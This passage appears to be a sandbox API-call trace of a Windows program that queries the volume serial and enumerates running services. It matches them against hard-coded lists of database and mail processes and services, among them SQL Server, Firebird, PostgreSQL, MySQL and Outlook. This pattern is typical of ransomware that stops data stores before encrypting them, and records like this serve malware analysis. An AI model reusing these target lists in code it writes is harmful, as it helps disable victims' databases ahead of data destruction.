[0045.982] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c700, Size=0x20) returned 0x6de868 [0045.982] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x71af78, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0045.982] lstrlenW (lpString="C:\\") returned 3 [0045.982] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.982] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x71af78 | out: hHeap=0x6a0000) returned 1 [0045.983] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d230, Size=0x82) returned 0x6e6060 [0045.983] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d260, Size=0x100) returned 0x6e60f0 [0045.983] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e6060, Size=0x104) returned 0x6e6318 [0045.983] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e60f0, Size=0x200) returned 0x6f9728 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72d250 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f9728 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c670 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4518 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c790 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4380 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c658 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6318 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c610 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e61f8 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c6a0 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6288 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c7a8 | out: hHeap=0x6a0000) returned 1 [0045.984] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c7d8, Size=0x20) returned 0x6de9d0 [0045.984] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de9d0, Size=0x40) returned 0x6ba4b0 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72d350 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c628 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fd0 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c730 | out: hHeap=0x6a0000) returned 1 [0045.984] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4490 | out: hHeap=0x6a0000) returned 1 [0045.985] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c700 | out: hHeap=0x6a0000) returned 1 [0045.985] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72d200 | out: hHeap=0x6a0000) returned 1 [0045.985] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c5f8 | out: hHeap=0x6a0000) returned 1 [0045.985] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6288 | out: hHeap=0x6a0000) returned 1 [0045.985] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b5730 | out: hHeap=0x6a0000) returned 1 [0045.985] lstrlenW (lpString="%systemdrive%") returned 13 [0045.985] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de868 | out: hHeap=0x6a0000) returned 1 [0045.985] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e46b0 | out: hHeap=0x6a0000) returned 1 [0045.985] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72d320 | out: hHeap=0x6a0000) returned 1 [0045.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x70af58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0045.985] WaitForMultipleObjects (nCount=0x2, lpHandles=0x6ba970*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x8f0 Thread: id = 4 os_tid = 0x7fc [0047.064] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x72c730 [0047.064] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c730, Size=0x20) returned 0x6deb10 [0047.064] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6deb10, Size=0x40) returned 0x6ba5d0 [0047.064] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba5d0, Size=0x80) returned 0x6e49e0 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e49e0, Size=0x100) returned 0x6e61e0 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x72c730 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c730, Size=0x20) returned 0x6debd8 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6debd8, Size=0x40) returned 0x6ba4f8 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba4f8, Size=0x80) returned 0x6e4c00 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4c00, Size=0x100) returned 0x6e62e8 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x72c5f8 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x72d200 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x72c730 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d200, Size=0x8) returned 0x72d250 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b5690 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d250, Size=0x10) returned 0x72c7a8 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b5570 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1a) returned 0x6debd8 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c7a8, Size=0x20) returned 0x6de9d0 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6de7a0 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x16) returned 0x6b5550 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1a) returned 0x6dec00 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x72c7f0 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x72d350 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6ba738 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d350, Size=0x8) returned 0x72d280 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x3c) returned 0x6ba1e0 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d280, Size=0x10) returned 0x72c670 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b56b0 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b5710 [0047.065] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c670, Size=0x20) returned 0x6de868 [0047.065] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6b6018 [0047.065] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0047.065] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e61e0 | out: hHeap=0x6a0000) returned 1 [0047.066] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0047.066] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e62e8 | out: hHeap=0x6a0000) returned 1 [0047.066] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6de890 [0047.066] EnumServicesStatusExW (in: hSCManager=0x6de890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0047.067] GetLastError () returned 0xea [0047.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1cd6) returned 0x6fd420 [0047.067] EnumServicesStatusExW (in: hSCManager=0x6de890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6fd420, cbBufSize=0x1cd6, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6fd420, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0047.068] CloseServiceHandle (hSCObject=0x6de890) returned 1 [0047.068] lstrlenW (lpString="Appinfo") returned 7 [0047.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.068] lstrlenW (lpString="AppXSvc") returned 7 [0047.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0047.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0047.069] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0047.069] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0047.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0047.069] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.069] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.069] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.069] lstrlenW (lpString="Audiosrv") returned 8 [0047.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0047.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0047.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0047.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0047.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0047.069] lstrlenW (lpString="BFE") returned 3 [0047.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.069] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.069] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.069] lstrlenW (lpString="BITS") returned 4 [0047.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0047.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0047.069] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0047.069] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0047.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0047.070] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0047.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0047.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0047.070] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0047.070] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0047.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0047.070] lstrlenW (lpString="CDPSvc") returned 6 [0047.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0047.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0047.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0047.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0047.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0047.070] lstrlenW (lpString="ClickToRunSvc") returned 13 [0047.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0047.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0047.070] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0047.070] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0047.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0047.070] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0047.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0047.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0047.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0047.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0047.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0047.070] lstrlenW (lpString="CryptSvc") returned 8 [0047.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.071] lstrlenW (lpString="DcomLaunch") returned 10 [0047.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.071] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.071] lstrlenW (lpString="DeviceAssociationService") returned 24 [0047.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0047.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0047.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0047.071] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0047.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0047.071] lstrlenW (lpString="Dhcp") returned 4 [0047.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.071] lstrlenW (lpString="Dnscache") returned 8 [0047.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.071] lstrlenW (lpString="DoSvc") returned 5 [0047.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0047.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0047.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0047.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0047.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0047.072] lstrlenW (lpString="DPS") returned 3 [0047.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.072] lstrlenW (lpString="DusmSvc") returned 7 [0047.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0047.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0047.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0047.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0047.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0047.072] lstrlenW (lpString="EventLog") returned 8 [0047.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0047.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0047.072] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0047.072] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0047.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0047.072] lstrlenW (lpString="EventSystem") returned 11 [0047.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.072] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.072] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.073] lstrlenW (lpString="FontCache") returned 9 [0047.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0047.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0047.073] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0047.073] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0047.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0047.073] lstrlenW (lpString="gpsvc") returned 5 [0047.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.073] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.073] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.073] lstrlenW (lpString="iphlpsvc") returned 8 [0047.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.073] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.073] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.073] lstrlenW (lpString="KeyIso") returned 6 [0047.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0047.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0047.073] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0047.073] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0047.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0047.073] lstrlenW (lpString="LanmanServer") returned 12 [0047.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.074] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.074] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.074] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.074] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.074] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.074] lstrlenW (lpString="lfsvc") returned 5 [0047.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0047.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0047.074] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0047.074] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0047.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0047.074] lstrlenW (lpString="lmhosts") returned 7 [0047.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.074] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.074] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.074] lstrlenW (lpString="LSM") returned 3 [0047.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0047.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0047.074] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0047.074] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0047.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0047.074] lstrlenW (lpString="MpsSvc") returned 6 [0047.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.074] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.074] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.075] lstrlenW (lpString="NcbService") returned 10 [0047.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0047.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0047.075] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0047.075] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0047.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0047.075] lstrlenW (lpString="netprofm") returned 8 [0047.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.075] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.075] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.075] lstrlenW (lpString="NgcSvc") returned 6 [0047.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0047.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0047.075] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0047.075] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0047.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0047.075] lstrlenW (lpString="NlaSvc") returned 6 [0047.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.075] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.075] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.075] lstrlenW (lpString="nsi") returned 3 [0047.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.075] lstrcmpiW 